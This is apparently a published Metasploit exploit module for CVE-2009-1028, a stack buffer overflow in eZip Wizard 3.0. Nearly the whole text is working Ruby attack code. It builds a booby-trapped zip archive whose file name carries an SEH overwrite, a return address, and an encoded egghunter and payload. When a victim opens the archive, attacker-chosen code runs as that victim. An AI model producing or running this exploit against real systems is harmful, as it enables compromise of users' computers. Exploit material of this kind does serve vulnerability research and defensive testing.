eZip Wizard 3.0 – Local Stack Buffer Overflow (Metasploit)
## # $Id: ezip_wizard_bof.rb 12428 2011-04-25 01:06:34Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex/zip' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh include Msf::Exploit::Remote::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'eZip Wizard 3.0 Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability in version 3.0 of ediSys Corp.'s eZip Wizard. In order for the command to be executed, an attacker must convince someone to open a specially crafted zip file with eZip Wizard, and access the specially file via double-clicking it. By doing so, an attacker can execute arbitrary code as the victim user. }, 'License' => MSF_LICENSE, 'Author' => [ 'fl0 fl0w', #Initial discovery, poc 'jduck', #Metasploit 'Lincoln', #Complete Metasploit port ], 'Version' => '$Revision: 12428 $', 'References' => [ [ 'CVE', '2009-1028' ], [ 'OSVDB', '52815' ], [ 'BID', '34044' ], [ 'URL', 'http://www.edisys.com/' ], [ 'URL', 'http://www.exploit-db.com/exploits/8180' ], [ 'URL', 'http://www.exploit-db.com/exploits/12059/' ], ], 'Platform' => [ 'win' ], 'Payload' => { 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, }, 'Targets' => [ ['Windows Universal', { 'Offset' => 58, 'Ret' => 0x10020710 }], ], 'DisclosureDate' => 'Mar 09 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']), OptString.new('USERNAME', [ true, 'Username', '']) ], self.class) end def exploit #These badchars do not apply to the final payload badchars = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e" eggoptions = { :checksum => true, :eggtag => 'w00t' } hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions) [ 'x86/alpha_mixed'].each { |name| enc = framework.encoders.create(name) if name =~/alpha/ enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' }) end hunter = enc.encode(hunter, nil, nil, platform) } #Username length affects our offset to hit SEH correctly if datastore['USERNAME'].length >= 9 padding = rand_text_alpha(target['Offset'] - 8) else padding = rand_text_alpha(target['Offset'] - datastore['USERNAME'].length) end fname = padding fname << "\x61\x61\x7a\x04" #nseh, align + conditional jmp fname << [target.ret].pack('V') #seh fname << "\x61" * 29 #align for hunter fname << "\x58\x58\x41" #align for hunter fname << hunter fname << egg zip = Rex::Zip::Archive.new xtra = [0xdac0ffee].pack('V') comment = [0xbadc0ded].pack('V') zip.add_file(fname, xtra, comment) # Create the file print_status("Creating '#{datastore['FILENAME']}' file...") file_create(zip.pack) end end |